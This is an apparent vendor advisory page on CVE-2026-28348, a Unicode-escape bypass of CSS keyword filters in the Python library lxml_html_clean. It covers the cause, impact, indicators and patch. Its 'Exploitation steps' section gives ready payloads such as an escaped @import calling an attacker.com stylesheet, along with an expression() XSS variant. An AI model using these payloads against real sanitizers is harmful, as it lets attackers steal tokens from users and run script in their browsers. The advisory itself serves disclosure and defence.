CVE-2026-28348: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-28348 is a CSS @import filter bypass vulnerability in the lxml_html_clean Python library (a project maintaining HTML cleaning functionalities originally from lxml.html.clean). The flaw allows attackers to bypass the library's dangerous CSS keyword filters using Unicode escape sequences, enabling external CSS loading or XSS in older browsers. All versions up to and including 0.4.3 are affected; the issue was disclosed and patched on March 2, 2026, with version 0.4.4 (GitHub Advisory). It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory).

Technical details

The root cause is in the _has_sneaky_javascript() method in clean.py (around line 594), which strips all backslashes from CSS input before checking for dangerous keywords (CWE-116: Improper Encoding or Escaping of Output; CWE-1289: Improper Validation of Unsafe Equivalence in Input). The problematic line style = style.replace('\\', '') transforms a payload like @\69mport into @69mport, which does not match the @import blacklist — but browsers decode \69 as the character i per CSS spec section 4.3.7, treating it as a valid @import statement. The same bypass applies to expression() detection (e.g., \65xpression(alert(1))), and multiple variants work including @\0069mport, @\69 mport, and @\49mport (GitHub Advisory, Patch Commit). Exploitation requires that a victim's browser renders the attacker-crafted HTML processed by the vulnerable cleaner.

Impact

Successful exploitation allows an attacker to inject malicious CSS that survives the HTML sanitization process. External CSS loading via @import enables data exfiltration through CSS attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing attacks against users who view the sanitized content. In older browsers such as Internet Explorer, the expression() bypass enables full cross-site scripting (XSS), allowing arbitrary JavaScript execution in the victim's browser context (GitHub Advisory). Availability is not impacted, but both confidentiality and integrity are at low-to-moderate risk depending on the deployment context.

Exploitability

A proof-of-concept (PoC) is publicly available in the GitHub Security Advisory, demonstrating the bypass with a simple Python snippet (GitHub Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.028% (0.051% per GitHub Advisory), placing it in the 16th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection is available via Nessus plugin 301397.

Exploitation steps

  1. Identify target application: Find a web application that uses lxml_html_clean versions ≤ 0.4.3 to sanitize user-supplied HTML content before rendering it to other users (e.g., a comment system, email renderer, or CMS).
  2. Craft malicious CSS payload: Construct a CSS @import statement using Unicode escape sequences to bypass the keyword filter, such as @\69mport url("http://attacker.com/evil.css");. Variants include @\0069mport, @\69 mport, or @\49mport.
  3. Inject payload: Submit the crafted HTML/CSS as user input to the target application (e.g., in a style attribute or <style> tag within a comment or post field).
  4. Bypass sanitization: The vulnerable _has_sneaky_javascript() method strips the backslash, producing @69mport which does not match the @import blacklist, allowing the payload to pass through the cleaner unchanged.
  5. Victim renders content: When another user's browser renders the sanitized output, the browser's CSS parser correctly decodes \69 as i, executing the @import and loading the attacker-controlled external CSS file.
  6. Achieve objective: The loaded external CSS can exfiltrate sensitive data (e.g., CSRF tokens via attribute selectors), perform UI redressing/phishing, or — in Internet Explorer — execute arbitrary JavaScript via expression() (GitHub Advisory).

Indicators of compromise

  • Network: Outbound HTTP/HTTPS requests from user browsers to unexpected external domains loading .css files, particularly originating from pages that render user-supplied HTML content; DNS queries for attacker-controlled domains from end-user systems after viewing sanitized content.
  • Logs: Application logs showing user-submitted content containing CSS with backslash-hex patterns (e.g., \69, \0069, \49, \65) in style attributes or <style> tags; web server access logs showing requests to /evil.css or similar attacker-hosted resources.
  • File System: Presence of stored HTML content in databases or file systems containing Unicode-escaped CSS keywords such as @\69mport, @\0069mport, or \65xpression.
  • Process/Application: HTML sanitization output containing literal strings like @\69mport url(...) that were not stripped by the cleaner, indicating the vulnerable version is in use (GitHub Advisory).

Mitigation and workarounds

Upgrade lxml_html_clean to version 0.4.4 or later, which replaces the naive backslash-stripping with proper CSS Unicode escape decoding via a new _decode_css_unicode_escapes() method before security checks are applied (Patch Commit). For systems unable to patch immediately, strictly validate and restrict user-supplied HTML input upstream before it reaches the cleaning function, and consider blocking CSS style attributes and <style> tags entirely as a temporary measure. Monitor application logs for CSS content containing backslash-hex escape patterns as described in the IOCs section (GitHub Advisory, Red Hat Bugzilla).

Community reactions

The vulnerability was reported by researcher uug4na and remediated by frenzymadness (a Fedora Python maintainer), with the advisory published directly to the GitHub Security Advisory Database on March 2, 2026 (GitHub Advisory). Red Hat tracked the issue via Bugzilla (Bug 2444968) and classified it as medium severity (Red Hat Bugzilla). OpenSUSE and Fedora issued security update announcements for their packaged versions of python-lxml-html-clean, indicating broad downstream distribution awareness. No significant social media controversy or major media coverage has been observed beyond standard vulnerability tracking outlets.

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Debian

Fixed

bookworm

lxml: 4.9.2-1+deb12u1

Fixed

sid

lxml-html-clean: 0.4.4-1

Fixed

trixie

lxml-html-clean: 0.4.4-1~deb13u1

Fixed

Ubuntu

Unknown

devel

lxml-html-clean

Unknown

noble

lxml-html-clean

Unknown

noble (esm-apps)

lxml-html-clean

Unknown

resolute

lxml-html-clean

Unknown

resolute (esm-apps)

lxml-html-clean

Unknown

Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v2f8-6655-7grjCRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
CVE-2026-105782HIGH7.5
  • Python logoPython
  • scrapy
NoYesOct 06, 2026
GHSA-v853-p72q-4cfwHIGH7.5
  • Python logoPython
  • quart
NoYesOct 05, 2026
CVE-2026-105751MEDIUM6.9
  • Python logoPython
  • docling
NoYesOct 05, 2026
CVE-2026-105750MEDIUM5.9
  • Python logoPython
  • docling
NoYesOct 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management